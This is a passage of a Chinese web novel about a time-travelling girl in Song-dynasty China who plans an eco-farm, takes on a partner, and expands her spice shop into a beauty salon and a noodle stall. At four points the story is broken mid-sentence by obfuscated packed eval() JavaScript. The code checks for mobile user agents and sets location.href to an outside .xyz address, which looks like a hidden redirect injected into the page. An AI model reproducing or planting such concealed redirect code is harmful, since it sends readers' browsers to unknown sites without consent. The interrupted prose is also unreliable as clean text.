随后王文茵又将一张堆肥示意图展开来给农户们看，“如果把枯枝落叶干草木屑比喻成含碳的棕色原料，那么厨余残渣果皮树叶还有人畜粪便就是含氮的绿色原料，堆肥便是一层棕色原料一层绿色原料轮番堆叠在一起后形成一个丰富的层次再进行均匀发酵。比如：最下面一层是枯枝、木片，第二层便是厨余残渣，第三层可覆盖落叶、木屑，到了第四层必须是粪便之类的新鲜原料，简而言之就是一层干枯的原料上必须加一层新鲜的原料。”【注1】 图文并茂最是简单易懂，赵大郎很快就理解了堆肥的原理，信心十足点了点头，“原来如此，倒是挺简单的。” 王文茵闻言马上摇头，“堆肥的原理虽然简单，操作起来却一点不省事。首先得把整个堆肥场分批次轮流堆肥，每隔一段时间就轮翻一批，每七日便要将堆肥的样品采集起来，还要亲自用手测试堆肥内部的温度。大约二十日左右便要原地翻堆一次，经过一年发酵的有机肥还要再进行半年的固化才能最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043988|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终成为成品有机肥。整个堆肥的过程非常漫长，不能求快，工作又十分辛苦，绝没有偷工减料的可能，否则出来的有机肥没法施用，那么前面所有的工作等于前功尽弃了。”【注1】 赵大郎有些懵，王小娘子说了一大串时间和数字，他掰着手指头都没来得及记下，想张嘴问又担心被小娘子嫌弃自己笨，心里一急，额头的汗都冒出来了。 注意到赵大郎的窘迫，王文茵安慰似的朝他笑了笑，“赵家阿叔，你别急哈，回头我把这些内容再给你仔细讲一遍。” 赵大郎松了一口气，抬手抹去额头的汗，咧嘴讪笑，“小娘子不嫌弃我蠢笨就好。” 王文茵摆手，“堆肥这活儿不需要多聪明，需要的是做事认真又不怕吃苦的人。” 其他人对堆肥兴趣不大，这活看起来既辛苦，见效又慢，不如种地养殖收益来得快，自然没人跟赵大郎抢活干。最后，这份工作就让赵大郎一家承包了。 “农场的三大主要区域的承包人已经落实，其余的人可根据自己的喜好去承包人那儿领工打。”王文茵又着重强调了一句：“大家要明白一件事，咱们农场的种植、养殖和堆肥三大模块虽然各自独立经营，但其实是息息相关的上下游产业。” “堆肥区既可以为种植区提供有机肥，又可以净化养殖区的空气环境；养殖区的动物粪便是堆肥区的主要原料，鸡鸭又能帮农田除草吃虫子；而种植区既能为养殖区供给饲料，又能为堆肥区提供秸秆、稻壳、枯草等堆肥原料。只有大家互相帮助，把每个区域都经营好了，整个农场才能焕发生机，给我们带来源源不断的银钱。”【注1】 王文茵是懂画大饼的，赚大钱才是激励大家努力工作的主要动力。你以为你堆的是肥，其实你堆的是黄金；你以为你锄的是地，不，你其实是在挖宝藏；你以为你养的是鸡鸭，其实你是在养金银珠宝。 当日分配完工作后，农户们就全家总动员。翌日一早，文安世惊讶地看到原本冷冷清清田间地头、山坳树林里居然到处都是人。有锄地拔草的，有捡枯枝落叶的，有建鸡圈、猪牛羊棚舍的，而负责巡视指挥的正是王文茵本人。 他不禁好奇，上前询问：“你们这是在做什么？” 王文茵把自己的有机生态农场规划蓝图描述给他听，她看起来很兴奋，声情并茂指着农田道：“未来我们整个农场就是一个具有完整生态系统的生态部落。” 文安世被她感染，脸上情不自禁笑起来，“你总说一些奇奇怪怪叫人听不懂的新鲜词儿，何谓生态系统？生态部落又是什么样子？” 王文茵睨他一眼，故意卖关子，轻哼：“我可不白教人的，你想知道啊？那得先付钱，知识付费，你懂得。” 说完她笑嘻嘻伸出手掌，没想到文安世居然想都没想，将佩戴在腰间的一块玉佩解下放在她的掌心，学着她的口吻道：“这个够吗？不够先打欠条。” 54. 第五十四章 只是一句玩笑话，他却当了真，王文茵真恨不得咬自己舌头一口。赠送玉佩代表什么含义她怎么可能不清楚，原本莹润的玉佩拿在手上跟烫手的山药一般，她忙不迭退回去。 “我开玩笑的，你别当真，这玉佩太贵重了，我不能收。” 她将玉佩双手奉还给文安世，可他却没伸手，眼里带笑看着她，“送出去的东西岂有收回来的道理，这是我交的学费，你可不许耍赖。” 王文茵瞪眼，“我不耍赖，你想知道什么我都告诉你，但这玉佩你得收回去。” 文安世眨眨眼，“那可不行，我不能白占你便宜，请先生教书也是要给束脩的，知识付费嘛，我懂得。” 什么叫搬起石头砸自己的脚，王文茵算是知道了，她咬了咬唇负气道：“玉佩又不能当钱花，拿去典当说不定还要被人质疑是偷来的，这玉佩还不如黄金呢。” “你喜欢金子？” “谁不喜欢金子？” 文安世促狭笑道：“这样吧，这块玉佩你先留着，待我攒够金子再来找你换回去。” 王文茵终于发现某些人表面上看起来温文尔雅，实际上是个耍赖高手，她在他面前，那就是小巫见大巫，不服都不行。 既如此，她便顺他的意，落落大方把玉佩收入囊中，笑了笑道：“你都这么说了，我要是再拒绝就太矫情了，你也知道我是很爱钱的。” 文安世嘴角一勾，“学费我已经交了，轮到你告诉我什么叫生态系统了。” 王文茵将文安世带到稻田、池塘与树林的交界处，指着四周给他介绍：“生态系统简单来说就是生物与环境之间相互影响、相互制约，并在一定时期内处于相对稳定的动态平衡状态。生态系统可以非常小，就像这个小池塘一样，也可以非常大，比如我们生活的这个世界。”【注1】 “我曾听过一个故事，在很久以前，有一对夫妻买下了一块荒地，这块地的土壤十分贫瘠，又干又硬，于是他们便开始着手改造这块土地。先是挖了一个池塘，然后弄来很多蚯蚓疏松土壤，接着又种了很多树苗。他们的目的是物种的多样化，于是又抓来鸡鸭牛羊和怀孕的老母猪，一年后农场便步入了正轨。”【注2】 “这一年他们的农场大丰收，动植物的数量多达上百种，母猪也下了猪仔，散养的鸡下的蛋让他们得到了第一笔收入。于是他们又扩大了农场的养殖区，还种植了覆土作物重建土壤，覆土作物又为牛羊提供食物，牛羊的粪便反过来加强了土壤的健康。所有的动植物在这个农场里和谐共存，形成了一个相对稳定的生态平衡系统。”【注2】 她讲述的时候语调柔和，娓娓道来，像是在他面前展开了一副世外桃源的画卷，文安世感到心脏扑通一跳，他有点神往这样的生活。 王文茵却话锋一转，“正当他们以为自然如此美好之时，现实却给了他们重重一击。” 文安世的心跳漏了一拍，下颌不自觉紧绷。 “农场里的鸡鸭引来了郊狼，鸡鸭损失惨重；辛苦种植的水果成了小鸟的口粮，秋后收成惨淡；更可怕的是肥沃的土地导致蜗牛泛滥成灾，果实严重减产；而持续的干旱加上鸭粪的营养过剩亦令池塘的有害藻类爆发，殃及池鱼大量死亡。”【注2】 文安世的心揪了起来，“……那该如何是好？” 王文茵看着他，忍着好笑，眨了眨眼道：“自然界的生态平衡一旦被破坏后便会通过自我修复找到新的平衡。很快他们就发现鸭子喜欢吃蜗牛，几个月时间泛滥成灾的蜗牛都成了鸭子的盘中餐，而鸭子的粪便又成了果树和农作物的肥料。失去了鸭粪的营养，藻类便不再疯长，池塘的生态又恢复了平衡。”【注2】 “在那之后农场又爆发过牛羊的粪便导致蛆虫数量不可控制，种植的粮食令地鼠繁殖过剩。但他们很快就发现鸡能消灭蛆虫，于是他们又养了几条狗来保护鸡群，郊狼吃不到鸡便去祸害地鼠，即便是有害的地鼠也有好的一面，它们打的地洞可以帮助土壤通气。”【注2】 “庄稼越健康，蚜虫就越多，水果越美味，啄食的鸟儿就越多，可当农场的物种越来越丰富后，一切的问题也就能迎刃而解。蚜虫的天敌便是七星瓢虫，老鹰的加入让鸟儿数量锐减，自然用自己的力量最终形成了生态的多样性平衡。”【注2】 “当暴雨来临时，茂盛的覆土植物吸收了大量的洪水，避免了水土流失。而在人眼看不到的地方微生物又在悄悄的分解腐烂的生物，将之化作植物的营养反哺自然。万物生生不息，死去的重归大地，新生的迎接朝阳，这就是自然的规律，而我们都是世间的过客。”【注2】 一阵寒风吹过，将挂在枝头的一片枯黄落叶送到他们面前，文安世伸手接住了。他从不曾了解过一片落叶的价值，但她却告诉他，世间万物相互关联，落叶归根后化作春泥便是来年新枝绿叶的养料。她的出现仿佛为他打开了一个全新的世界，这样生机勃勃的一个人叫他怎能不动心？ “你的农场可以算我一份吗？”他问道。 王文茵转了转眼睛，诧异道：“你……有什么目的？” 文安世咧嘴一笑：“我有预感，你的农场能赚大钱。” 王文茵挑起一边眉毛，上下打量文安世，“你中邪了？你不是最耻于谈钱的吗？” “先前是我没勇气正视自己，经过你的敲打我发现自己不过是俗人一枚，俗人爱钱财，我亦不能免俗。”文安世笑得坦荡。 王文茵却皱起了眉，“我可不能保证农场就一定能赚钱。” “无妨，赚了你给我分成，赔了就当我运气不好。”文安世直白地看着王文茵：“我信你。” 王文茵心头一跳，避开他那灼灼的目光，正色道：“也不是不行，但我们得立契约。” “没问题，你想怎么立契都可以。”他笑吟吟道。 这人多半是中了邪，王文茵可不想给自己惹麻烦，郑重其事强调：“你最好同文老夫人商量一番，投资有风险，入股需谨慎。” 文安世失笑，“我又不是无知小儿，这么点小事还需祖母同意？” “不然你哪来的钱投资？” “山人自有妙计。”他眨眨眼：“私房钱，你懂得。” 王文茵脸一红，这么隐私的话题她接不下去了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047906|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻咳一声转移重点，“你打算投资多少？” 他指了指他们两人，“一人一半，这个农场只能属于你我二人。” 越说越暧昧，王文茵对文家七衙内有了新的认识，原来这人只是假正经，她板起脸道：“你几时开始说话变得这般没分寸了？” 文安世脸上带着一抹笑，恭恭敬敬给王文茵作揖道歉：“是我冒犯小娘子了，小娘子大人有大量，饶恕我这一回吧？” 老话说伸手不打笑脸人，何况他又是作揖又是道歉的，王文茵咬咬牙，有些气恼，却又不知该奈他何，轻哼一声：“下不为例。” “遵命！”他抬起眼笑。 她假装没看见，公事公办道：“我打算将一成股份留出来给创始员工，余下的九成你我各占一半，如何？” “可以。” “详细条款我会立在契书里，回头再交予你过目。” “好。” 文安世忽然将手伸向王文茵。 王文茵不解：“这是做什么？” 文安世笑道：“拉钩啊，我怕你反悔。” 王文茵一头黑线，今日算是刷新了对文家七衙内的认识，这人就是个表里不一的促狭鬼。 ****** 农场这边的事交给三大版块的负责人后，王文茵又去了一趟朱仙镇。一是去看看香料铺子的经营状况，二是李阿萍托人带来消息，说是已经寻到一家合意的店面，请她过去瞧瞧。 王文茵并不想让自己成为事无巨细都要插一手，劳心又劳力的大内总管，相比之下她更愿意调动别人的主动性和积极性，看到他们为自己的梦想而努力奋斗才是她最乐见的。 这些日子没来朱仙镇，虽然赵元宁三不五时会给她写信，告知香料铺子的经营状况，但若不是亲眼所见，她都不敢相信兴隆堂居然一跃成为朱仙镇最热门的打卡地，吸引了周边十里八乡还有不少是从汴京城赶来的娘子们。 “惊不惊喜？意不意外？”赵元宁笑得像个恶作剧得手的孩子，“我故意不告诉你，就是想让你大吃一惊。” 王文茵虽然内心很惊喜，但作为穿越过现代，见识过后世直播带货瞬间秒空这种大场面的人，她的反应在赵元宁看来实在太过冷静，甚至可以说是很平淡了。 “挺好的。”她就这么一句。 赵元宁有些失望，“是不是没达到你的预期？” 王文茵诧异道：“怎么会，已经超过我的预期了。” “那你怎么一点都不兴奋？”赵元宁邀功道：“咱们兴隆堂的名声已经传入了汴京城，连我父兄都听说了。” 王文茵点头，“挺好的，我只是担心咱们的生产力跟不上消费者的购买力。” 赵元宁这才明白过来，原来她不是反应平淡，而是想得太远，当即拍胸道：“这个问题你不用担心，我已经跟家人商量过了，决定加大对香料工坊的投资，这样你便可以放手招人，扩大经营了。” “你的家人要增加投资？”王文茵顿感不妙。 赵元宁却浑然不觉，点头，“家兄特地从京城赶来想同你面议，此刻正在药铺内恭候。” 55. 第五十五章 王文茵只觉头大，本来两个孩子小打小闹合伙做点小本生意，结果对方突然说要找家长出来给他撑场子，就等于破坏了这种默契，她不禁有些懊恼赵元宁先斩后奏。 赵元宁担心她有顾虑，舔舔嘴笑道：“不用担心，家兄他不会反对，相反他很支持我们合作。” 赵元宁都这样说了，王文茵还能说什么，更何况人都来了，难道她还能避而不见，她有种赶鸭子上架的感觉。 赵元宁将王文茵引到药铺后面的会客厅内，他的兄长太医赵元静正端坐在窗前聚精会神地研究病例。赵元静比赵元宁年长六岁，跟他兄弟不同的是，赵元静于医术极有天赋，是汴京城内远近闻名的“妙手神医”，不到二十岁就被宰相司马光破格奏荐入了翰林医官院任职。 赵氏兄弟是一母同胞，虽然眉眼十分肖似，气质却截然不同。赵元静明显比他弟弟赵元宁老成持重，但他们又有共同的特点，都是那种看上去十分亲切和蔼的人。 尽管老早就听赵元宁提及王文茵不过是个刚满十岁的孤女，但在见到她的第一眼时赵元静还是暗暗惊讶，她看起来像是一个成年的灵魂套入了一副未成年的躯壳，尤其是那双眼睛，有种洞悉世事的智慧。 王文茵同赵元静互相见了礼，赵元静将她请上座，她也不扭捏，落落大方地同他闲聊起来。 赵元静道：“舍弟经常同我提起小娘子，说你如何聪慧能干，今日有幸得见，方知所言非虚。” 虽然是恭维话，但从赵元静口中说出来就让人感觉很真诚，不会感到尴尬。 王文茵谦虚道：“赵太医过奖了。” “我有一事想请教小娘子。” “赵太医请讲。” “香皂、米线和十三香这些东西都是小娘子自创的吗？” 王文茵看了赵元宁一眼，从赵元宁的眼神中她看出，他并没有将自己穿越后世的事同他兄长泄露一二，便坦率道：“自然不是，是我从书上学来的。” 赵元静不疑有他，点头道：“想必小娘子家学渊源，这些物什我也是第一次见到，十分新鲜有趣，难怪舍弟极力推崇。” 王文茵莞尔一笑，单刀直入：“赵太医是想同我谈投资的事吗？” 赵元静却笑着摇头，“我虽虚长舍弟几岁，但却于经营之道并无所长。家父前些日子试用过兴隆堂的产品后赞不绝口，有意想将香料铺子开到汴京城去，便派我来同小娘子见一面，想征求小娘子的意见。” 王文茵感到奇怪，按理说赵太医家在朱仙镇上的药铺既然已经交给赵元宁打理，他们要是想将香料铺子开到汴京城去，让赵元宁出面跟自己谈就可以了，何必再派不懂经营的赵元静过来。她心底冒出了一个不成熟的怀疑，面上却没有表现出来。 “能将香料铺子开到汴京城去，我自然是求之不得，只是眼下时机尚未成熟。” 赵元静问道：“小娘子可是有什么困难？” “倒也没有太大的困难，只是目前香料工坊人手不足，生产力有限，若是贸贸然将兴隆堂开到汴京城里去，怕是会出现供应链断裂的问题。”王文茵缓声道：“是以，我觉得可以再缓一缓，不必操之过急。” 赵元静想了想，点头道：“言之有理，小娘子考虑问题比我周到，是我鲁莽了。” 王文茵看着面前这个比自己实际年龄大了十几岁的年轻太医，越发觉得他并不如表现得那么缺乏常识，而是在用一种委婉又不得罪人的方式测试她。 “赵太医无须介怀，我每日都在香料工坊，自然比旁人更清楚一些。”王文茵谦虚道。 赵元静回头看着兄弟赵元宁，含笑道：“你素来比我能干，香料铺子的事你同小娘子商量着办吧，父亲那儿我自会同他讲明。” 赵元宁开心地应了一声“是”。 赵元静起身作揖，“多谢小娘子拨冗出时间同我见面。” 王文茵也起身回礼，客气道：“赵太医不必多礼，原应是我去府上拜访才对。” 赵元静当即发出邀请：“小娘子若是有时间不妨到汴京城来游玩，家父也很想同你见一面。” “有机会去汴京必定去府上拜会赵大人。”王文茵大方又不失礼貌。 将她送出门后，赵元宁兴冲冲回来问赵元静对王文茵的印象。 做兄长的不想打击单纯又傻气的弟弟，赵元静微微一笑，道：“挺好。” “就这么一句？”赵元宁有些失望。 赵元静笑笑没再回话。 兄长一向话少，赵元宁便也没放心上，先前他瞒着家里跟王文茵合伙开香料铺子，结果没想到生意居然火爆到远在汴京的父兄都知道了。 父亲很早就放手培养他经营药铺，也相信他有能力将药铺发扬光大，只是在听说他跟人合伙做香料买卖后，还是遣人将他叫回去问话。在得知事情的来龙去脉后，父亲并没有急着反对他开香料铺子，而是提出要让兄长跟王家小娘子见一面。 “兄长打算如何跟父亲回话？”赵元宁有些担心。 赵元静看穿他的心思，安慰道：“你若只是想同她王小娘子合伙做买卖，我想父亲不会反对。” “那我若是还有别的想法呢？”赵元宁舔了舔唇道。 赵元静将手中的医案放下，踱到窗边看向外面熙攘的河道，沉声道：“这恐怕不是我们能说了算的，你有问过她本人的意思吗？” “那个……”赵元宁挠了挠额头，窘迫道：“还不是时候。” 赵元静只拍了拍他的肩头，“那就等时机到了再说。” ****** 王文茵虽然心里觉得赵家这番试探有些奇怪，但跟赵元静交谈后也不觉得有什么问题，本来她同赵元宁就只是合伙做点小买卖，她心无旁骛，自然也不会想太多，很快就把这件事情抛诸脑后了。 几日没来这兴隆堂真是店如其名，生意兴隆，蒸蒸日上。 王文茵甫一踏入香料铺子竟然恍惚间有种进了后世商场的错觉，几名担任导购的店员热情洋溢地给一众娘子们介绍护肤品的使用方法和功效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051450|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，凭着一条三寸不烂之舌闭眼瞎夸娘子们环肥燕瘦、各有妍丽。反正肤白的就叫胜雪，皮黑的赞美健康，体胖的比作丰腴，消瘦的则夸苗条，不管你长什么样，都能把你夸得心花怒放，钱袋失守。 “这叫提供情绪价值，是小娘子你教我们的。”张二嫂在王文茵耳畔掩嘴笑道：“把客人伺候舒服夸高兴了，即便这回不买东西，下回她们一定还来，来的次数多了，自然是要掏腰包买点什么的。” 王文茵眯眼笑赞：“婶子，你就是营销奇才。” 张二嫂却摇了摇头，“实不相瞒，咱们铺子里的销售冠军可不是我。” 张二嫂将王文茵带到柜台后面，拿出一本册子，上面罗列了店员们的销售业绩，指着其中的销冠道：“玉瑶才是本店的销冠。” 王文茵接过册子翻看，其他店员的销售额都不相上下，唯独这个叫玉瑶的店员遥遥领先，断层销冠。她抬起头来寻找玉瑶的身影，店内并不见她的踪影。 张二嫂马上解释：“玉瑶在隔壁的美容间内给客人做脸呢。” 原本铺子里是提供免费的简易护肤服务，因为店员的按摩手法和化妆技巧都是这个时代的娘子们从未见过的，在客户的强烈要求下，张二嫂便将铺面隔壁的间屋腾出来做了专业的美容室，采取预约制，每日上门来做美容的小娘子简直络绎不绝。 “玉瑶人机灵又善解人意，做事细致，教给她的按摩手法一学就会，还能自己融会贯通，但凡来店里做过一次美容的客人都会指名道姓要她服务。每次她给客人做脸的时候都会不失时机把店内的产品推销出去，客人做完美容觉得效果好自然心甘情愿掏钱买了不少带回家。”张二嫂似是很喜欢玉瑶。 这其实就是后世美容院惯用的推销手段，这样一来店员们不但多了一项高额的美容护肤收入，还在做美容的时候顺带将店铺里的产品推销出去，多得了一份提成，工作的积极性自然高涨，各个都跟打了鸡血一样努力。 “小娘子你是不知道，如今朱仙镇周围十里八乡的娘子们把成为咱们兴隆堂的店员当成了她们梦想中的职业。”张二嫂咯咯笑，毫不掩饰自己的得色。 王文茵听完心里一动，便将赵家说想把兴隆堂开到汴京城里去的想法告诉了张二嫂，问她是怎么想的。 “小娘子若是不反对，我倒是挺想去汴京城里闯荡一番的。”张二嫂毫不讳言自己的野心，如今的她再不是当初那个吃了上顿没下顿的单亲妈妈了，她能靠自己赚钱养活两个孩子，还能给孩子一个富足美好的未来，自然不想受困于小小的朱仙镇。 “先前颠沛流离无家可归之时，能在静缘庵安顿下来我就知足了，可人嘛总想往高处走，当我有了足够的底气，自然想为两个孩子挣一个更好的前途。” 王文茵心底涌出一股热流，一把握住张二嫂的手，道：“婶子，你能这么想我很高兴，你尽管放手去做，我支持你。” 张二嫂含着喜悦的泪花狠狠点头，“多谢小娘子！那咱们什么时候将店铺开去汴京城？” 56. 第五十六章 王文茵将香料工坊增产招兵买马之事同张二嫂详细商讨了一番后，又在兴隆堂里巡视了一会儿，接着便同阿萍他们一道儿去了新租下的店铺。 餐饮铺子与香料铺子隔了两条街，临街不临河，也是前店后院的格局。原先的店主就是做餐饮的，阿萍找人稍微修葺粉刷了一下，顺便把前店主留下的桌椅板凳又重新加固了。 “我瞅着原来的这些家具都还能用，别浪费了，反正咱们卖的是米线，东西好吃是关键，客人才不会计较桌椅是旧还是新的。”阿萍笑嘻嘻地说：“小娘子不是常说嘛，做生意要学会开源节流，能省则省，钱要用在刀刃上。” 张二嫂打趣阿萍会过日子，将来嫁了人必定是个能干的大娘子。 阿萍却嘟嘴道：“我才不要嫁人，做别人家的大娘子哪有自己做老板娘来得自由。” “你打算一辈子不嫁人了？”张二嫂朝后院看去，阿萍一家已经搬到后院住了，她爹娘此刻正在忙着洒扫清理院中杂物，压低声道：“你爹娘肯定不答应。” 阿萍嘿嘿笑，“这个家现在由我当家，我爹娘都听我的，我自个儿给自个儿做得了主。” 张二嫂啧啧摇头，“可了不得了，你是打算孤独终老吗？” “那倒未必。”阿萍信心十足：“若是有喜欢我，我也喜欢的郎君，我可以将他招赘，做我们家的上门女婿，嘻嘻。” 张二嫂拿手指轻轻弹了一下阿萍的额头，“你个小妮子也不害臊。” 阿萍不服气：“小娘子说过的，男追女隔座山，女追男隔层纱，男女平等，我有啥可害臊的？” 张二嫂无语极了，对长期被封建礼教束缚的宋朝女子而言，阿萍和王文茵的婚恋观无疑是离经叛道的，张二嫂能接受女子抛头露面去经商，却无法扭转女子在婚姻上被动保守的观念。 王文茵明白要让像张二嫂这样的封建女性转变观念并不是一件容易的事，于是便换了个话题，道：“不如咱们先商量一下拓展商业版图的事儿吧？” 别看张二嫂同李阿萍的婚恋观相差甚远，但是对于搞钱这件事两人的想法倒是出奇的一致，她们尝过赚钱的甜头后就跟上了瘾一般欲罢不能。 李阿萍捋起袖子搓了搓手，兴奋道：“小娘子是打算带我们大家进军汴京城吗？” 王文茵含蓄地抿嘴笑了笑，“赵家的大郎从汴京城过来问我愿不愿意将香料铺子开到京城里去，我本想着现在还不是时候，便婉拒了他。可适才去铺子里转了转，发现有好几个娘子是从京城里闻风赶来捧场的，想必已经有人将咱们铺子里的产品传到汴京城里去了。是以，我想也许可以先去试试水。” “小娘子打算如何试水？”张二嫂难掩激动。 王文茵思忖道：“我适才见铺子里的美容室生意颇好，便有了一个新的想法，咱们可以到汴京城里开一家美容院，专为女客提供美容、护肤、美发、化妆、按摩的服务。” 张二嫂眼睛一亮，“这倒确实是一门好生意，咱们铺子里的美容室预约的人数已经排到一个月后了。就这样还有不少小娘子抱怨大老远从京城里赶来却排不上号，建议我们赶紧去汴京城内开一家分店。” “嗯。”王文茵点头道：“眼下咱们的香料工坊人手不足，产量上不去，生产出来的护肤品供应兴隆堂一家铺子是没什么问题，但若是再去京城开一家同样的香料铺子，怕是供给不上。即便立刻招兵买马，也无法解燃眉之急，但若是开一家美容院反而相对容易些，只需培训一批新员工，再租个店面便可立时营业。” 张二嫂应声附和：“美容院卖的是服务，利润不比卖护肤品低，店员的提成多，工作热情自然也高。” 王文茵便让阿萍取来笔墨纸张，将自己对美容院的规划设计涂鸦在纸上。 “汴京城内名门贵妇多，商贾娘子也多，这两类人都是咱们的目标客户，但这两类人偏偏不能凑在一起做美容，所以咱们要单独隔几间贵妇美容室出来，单人间，双人间、三人间都要有。单人的美容室私密性好，既可做脸，也可给身体做按摩；双人跟三人的嘛适合两三个闺中密友一起护肤美容，女人最喜欢在这种时候聊八卦和自己的私密了。” “好主意！”张二嫂拍手笑道：“咱们现在的美容室条件有限，就一间屋子，两张床用布帘子隔开，遇到互相不熟悉的小娘子一起做美容难免有些尴尬，这点客人已经跟我提过要求了。” 王文茵仔细回忆了一下后世的美容院，“除了护肤按摩，咱们还可以提供美发、化妆和美甲的服务。” 张二嫂不解：“梳头化妆这种活儿娘子们家里的婢女就会呀。” “不一样的。”王文茵摇头：“女婢们只会一些时下流行的妆发，咱们要做的是创新，要引领汴京美容美发的时尚潮流。” 张二嫂擅长模仿，不善于创新，叫她给客人做按摩护肤这种机械性重复的活还行，让她发挥创意引领汴京时尚那是万万做不到的。 “小娘子，我怕是没这个能力。” 王文茵眨眼笑，“不是还有玉瑶吗？” “对哦，我怎么把她给忘了。”张二嫂一拍脑门，“那丫头最会琢磨，心思又巧，做这个再适合不过。” 美容院的规划方案商定下来后，王文茵将设计图纸交予张二嫂，“去京城里租店铺的事只能委托赵四郎帮忙找个熟识的庄宅牙人，毕竟他对汴京比我们熟悉。” “哎，好，小娘子放心，租房的事我会张罗。”张二嫂仔细将纸张折叠纳入怀中。 美容院的事阿萍插不上手，忍不住出声提醒：“小娘子，那我们呢？我们做啥？” 王文茵从袖袋里拿出一张丰收农场的规划图，展开给阿萍他们看。 “丰收农场？”阿萍已经认了不少字，现在的阅读水平跟小学生差不多，简单的字基本难不倒她，“这是做啥的？” 王文茵便将生态农场的规划蓝图给阿萍他们描述了一番。 不出所料，大家听完都很兴奋。 张二嫂本就是农妇出身，早些年家中几亩地都是她跟她男人一起耕种的。只是他们并不懂得堆肥之类的农业技术，几亩地越种越贫瘠，遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056030|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上天灾就颗粒无收，最后只能便宜卖给了高利贷还债。 “小娘子这种地方法好特别，虽然没亲眼见过，但我觉得能行，你们说是不是？”张二嫂问其他人。 阿萍爹娘也跟着点头应是，阿萍娘说：“我们家流亡前也是种地的，只是没小娘子这般懂农事，唉，要是早点认识小娘子就好了。” “娘，你说什么胡话呢，咱们要是没离开家乡，又怎会遇见小娘子跟二婶子。” 阿萍这些日子卖米粉手头积攒了一些银子，听张二嫂说王文茵拉着她合伙买了丰收村的几十亩地，很是心动，也想买几亩地定居下来。 “小娘子，你那个农场可以让我们家也入股吗？” “目前暂时不考虑加入新的股东。”王文茵没说真实原因是有个促狭鬼已经把农场的股份买断了。 阿萍一家人脸上掩饰不住的失落，低头叹气。 “别失望。”王文茵莞尔一笑：“农场目前暂时不考虑让你们入股是因为农场还在前期开发阶段，有很多不确定因素，入股有风险。你们不妨先把米线买卖做大了，到时候有了充足的资金，再参考农场的成功模式，自己投资一个新的农场不是更好？” 一句话又点燃了阿萍一家人的希望，“小娘子说的是！” 阿萍爹打着手语咿咿呀呀同阿萍说了什么，阿萍拧起两条眉毛看看她爹娘，又回头看看王文茵，一副欲言又止的模样。 王文茵看出她的犹豫，便问：“阿萍，你爹说什么？” 阿萍咬着唇，一脸为难，“我爹问，咱们是不是要放弃这间店铺，搬到汴京城里去卖米线？” 阿萍爹李三毛打着手语想跟王文茵解释，王文茵看不懂，便望向阿萍。 “我爹说在朱仙镇这儿做小买卖挺好的，他们很知足，怕去了汴京反而不适应，听说汴京的物价房租都很高……” 阿萍说不下去了，转头打着手语同她爹娘负气道：“爹，娘，不是小娘子逼着咱们去汴京城，是我自己想去！我想同小娘子、二嫂子她们一起去京城里闯一闯，想赚更多的钱给咱们家。” 李三毛两口子一脸惊惶，不知所措，他们这辈子都在底层生活，过的是积贫积弱的苦日子，一年到头攒不起几个钱。好不容易靠卖米粉有了点积蓄，他们已经很知足了，想守着这间店安安稳稳渡过下半辈子，结果女儿却不安分，还想赚更多的钱，他们怎能不担心？ 原来是担心这个，王文茵不禁失笑，“李叔，李婶儿，你们呀就安心在朱仙镇里开这间李记米线店。” 李三毛两口子睁大了眼，阿萍娘弱弱地问道：“小娘子的意思是我们不用去汴京城了？” “娘——”阿萍急得直跺脚。 王文茵将手放在阿萍肩头往下一按，示意她稍安勿躁，“你们不用去，只阿萍一人去便可。” 阿萍松了一口气，李三毛两口子却是一头雾水。 “朱仙镇这间店铺今后便是李记米线的总店。”王文茵指着院子里穆叔打造的米线餐车道：“而那餐车便是李记米线的汴京分摊。” 57. 第五十七章 阿萍立马就反应过来，“小娘子的意思是让我去汴京城里继续摆摊？” 李三毛跟阿萍娘面面相觑，他们不是才从路边摊升级到了店面房吗，怎么又要让女儿去摆摊卖米线呢？摆摊明显比开店受罪多了，日晒雨淋，起早贪黑，虽说一家人都是苦出来的，可放着好日子不过受那罪做什么呢？ 